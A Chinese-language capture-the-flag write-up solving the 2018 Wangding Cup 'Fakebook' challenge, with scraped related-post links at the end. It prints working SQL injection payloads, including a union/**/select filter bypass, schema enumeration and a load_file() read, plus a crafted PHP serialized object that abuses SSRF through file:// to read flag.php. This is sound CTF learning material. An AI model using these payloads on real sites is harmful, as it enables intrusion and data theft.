前言

  • 前天上午去报名了初中辅导老师,下午收到暑假可能可以回学校学习。。。真就尴尬。如果可以,回还是不回。
  • 参加了2020年的网鼎杯,签到杯,神仙打架,萌新不配参加,下次一定。

读题

  • 这题有点意思,虽然是sql注入,但注入点不在平常的注册登录那里,而是在view.php , 但是,远远不是sql注入那么简单。

  • 首先拿到题很容易发现,f12看到get传参就注意了一下。

  • 随便传入一个字母发现报错提示,就很明显的sql注入点了。并且暴露了网站根目录。

  • 这回跑字典啥也没跑出来,都是sql语句报错。好像都没被过滤。

  • 那就手工试一下,联合注入,启动。

  • 先测试列,在列5时报错,看来有4列

      ?no=100 order by 5#
    
  • 然后测试回显位,这步是之前没用过的,原因是以前的sql注入都是很明显的账号密码,很容易知道回显位。

      ?no=100 union select 1,2,3,4#
    
  • 嗯?提示过滤。why?

  • 把payload拆开看看过滤了什么,发现单个单词都没过滤,过滤了union select

  • 网上找到绕过方法union/**/select,也可以放弃联合注入用报错注入。一样可行

  • 修改payload再次尝试

      ?no=100 union/**/select 1,2,3,4#
    
  • 得到回显位为2

  • 将2 替换为database() ,再次尝试,得到数据库名称facebook

    ?no=100 union/**/select 1,database(),3,4#
    

  • 继续得到表的名称users

    ?no=100 union/**/select 2,group_concat(table_name),2,2 from information_schema.tables where table_schema=database()#
    

  • 进一步得到字段名,有多个:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

    ?no=100 union/**/select 2,group_concat(column_name),2,2 from information_schema.columns where table_name='users'#
    

  • 尝试读取内容,以为到此结束,没想到,这才刚刚开始。读取内容发现字段 data 有一组序列化后的字符串,其它字段也没什么内容。此时注意到,这就是我们刚刚注册填的内容

    ?no=100 union/**/select 2,group_concat(data),2,2 from users#
    

  • 注入到此结束,没有得到flag。显然网鼎杯的题目怎么可能这么简单。

研究

一、robots.txt__源码泄露

  • 很多网站都会有这个文件,比如说百度、谷歌都有,直接访问/robots.txt 就行
  • 作用是告诉搜索引擎该网站可以访问的范围。但
  • 这个知识点之前知道,但没想到这里用上了。
  • 访问,发现有一个user.php.bak
  • 访问/user.php.bak 下载了一个文件,去除后缀名.bak得到user.php,源码泄露。
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
  • 主要关注一下get函数,没看过的函数没关系,百度函数功能。
  • 大概理解是将我们输入的blog,调用get函数创建链接我们填的url,将访问该url返回的内容在页面输出。这里就是我们利用的点。

二、ssrf__服务端请求伪造

  • ssrf是什么?参考这篇文章比较好理解。
  • 本来应该是让它返回我们填的blog页面内容,但是我们读啥呢???
  • 万万没想到,题目还有一个flag.php,得扫描,能不能扫出来,还得看你字典有没有。但是一般比赛都直接说明题目不需要扫描器,怕服务器承受不住。
  • 所以,我们可以填http:127.0.0.1/flag.php ,然后让上面说的调用get函数访问它并返回显示内容吗?不行,看上面源码,过滤了http/https。
  • 所以,继续往下

三、file协议__读取本地文件

  • file协议是什么?参考这篇文章
  • 可以绕过http读取文件,同时有前面也暴露了解对路径。很明确。
  • 那为啥不在注册的时候blog直接填file:///var/www/html/flag.php ,然后你会发现,报错不能注册。所以还得往下。

四、php序列化

  • 由上面的data字段内容可以得知,我们的注册信息,是以反序列化字符串储存的。
  • 以序列化的方式存储在data字段中,查询时返回序列化字符串后先进行反序列化后再提取blog网址。
  • 那如果让它查询返回的是包含file:///var/www/html/flag.php的序列化字符串,那它提取时就是访问了flag.php文件并返回。解决了上面注册的过滤。
  • 所以,我们先构造一个php序列化字符串。
<?phpclass UserInfo
{public $name = "1";public $age = 0;public $blog = "file:///var/www/html/flag.php";}$a = new UserInfo();
echo serialize($a);
?>
  • 得到

    O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
    

五、最后解题

  • 所以,只需要让它返回我们构造的php序列化字符串里的内容,再一次sql联合注入,返回查询内容为file:///var/www/html/flag.php

    ?no=100 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
    

  • iframe标签里,有base64编码后的字符串,点击就是flag。为啥在iframe标签里,试试正常注册一个blog,f12看看有什么。

  • 成功得到flag

六、其它方法

  • 看wp还看到一种解法,直接通过sql读取函数直接读取flag.php文件

    ?no=100 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #
    

  • 主要是mysql的load_file函数,可以百度了解。

最后

  • 理一下思路,我终止在sql注入结束,看wp才发现原来这么复杂,先知道了data字段中序列化储存,再得知user.php源码泄露,通过源码得知得可以用file协议利用ssrf漏洞读取文件,再通过序列化去读取flag.php。
  • 很综合的一道题,不愧是网鼎杯。
  • 做完做题可以去丰富目录字典了。
  • 附上题目链接
  • 持续更新BUUCTF题解,写的不是很好,欢迎指正。
  • 最后欢迎来访个人博客

BUUCTF__[网鼎杯 2018]Fakebook_题解相关推荐

  1. [网鼎杯 2018]Fakebook

    [网鼎杯 2018]Fakebook 点击添加两条记录之后,任意点进去观察到 http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/vi ...

  2. [网鼎杯2018]Unfinish

    [网鼎杯2018]Unfinish 盲猜register界面 打开看什么都没有. 二次注入类题目 绕过方法: ​ mysql中,+只能当做运算符. ​ 执行select '1'+'1a'时 结果 执行 ...

  3. BMZCTF 网鼎杯 2018 minified

    使用stegsolve打开图片,不断点击箭头查看图像,在Red plane发现无图像,怀疑是零通道问题,然后无解哈哈哈. 查看大佬的wp,将alpha0,red0,green0,blue0分别保存为b ...

  4. BUU刷题记-网鼎杯专栏2

    title: BUU刷题记_网鼎杯专栏2 date: 2001-07-16 18:30:26 tags: [addslashes().二次注入 漏洞,gbk编码导致的宽字节注入漏洞,.git文件泄露及 ...

  5. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  6. Buuctf [网鼎杯 2020 青龙组]jocker 题解

    目录 一.主函数逻辑 二.wrong函数和omg函数--假flag 1.wrong函数 2.omg函数 3.假flag 三.encrypt和finally函数--真flag 1.打开sp指针偏移显示 ...

  7. 2022网鼎杯青龙组wp

    本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...

  8. 网鼎杯misc部分题的wp

    网鼎杯misc部分题的题解 自己的ctf算是零基础,进来公司安排的任务是收集整理近期ctf题目,我想着那就正好当作练习吧,于是随便自己写一下wp加深一下印象 1.hidden 上来先整一道简单的吧. ...

  9. 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕

    乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...

最新文章

  1. python自动扫雷_利用Python实现自动扫雷
  2. Jquery中使用setInterval和setTimeout
  3. M-point moving-average(M点滑动平均)Matlab 实现
  4. Stupid cat Doge (分形图)
  5. C++ 控制对象的创建方式和数量
  6. CentOS Postfix 安装构架全解
  7. 3.6 矩阵秩的其它重要关系
  8. 某易跟帖频道,接口溯源分析,反爬新技巧,必掌握一下
  9. 计算标准累积正态分布_神说要有正态分布,于是就有了正态分布。
  10. 原来String、StringBuffer、StringBuilder底层是这么回事
  11. QQ群头像 微信群头像 多图合并框架实现
  12. Leetcode_123_Best Time to Buy and Sell Stock III
  13. 换了新的JDK后,Eclipse打不开
  14. C++ 策略模式的具体案例与优缺点
  15. JAVAEE 实训日志01_20200704 上
  16. MFormats SDK智能视频 API,视频软件开发框架
  17. 电商大数据分析平台项目(一)项目框架
  18. 关于MFC模态对话框dlg.DoModal()返回-1的可能原因
  19. 手机qq2.0 for android,QQ农场手机版|QQ农场for Android 2.02 官方安装版_手机游戏 www.qqtn.com...
  20. 如何使用Speccy保存快照

热门文章

  1. 苦恼的月下老人(最长子序列)by C++
  2. 2021-2027全球与中国双面身份证打印机市场现状及未来发展趋势
  3. Zephyr:undefined reference to `__device_dts_ord_xx‘
  4. bach cello
  5. 实施工程师面试题(答案)
  6. 2021-05-14关于java的成员内部类总结
  7. 谈技术文章翻译的信雅达-下
  8. Linux 系统学习
  9. 流年做戏,我不会再爱你
  10. python:DataFrame的创建以及DataFrame的属性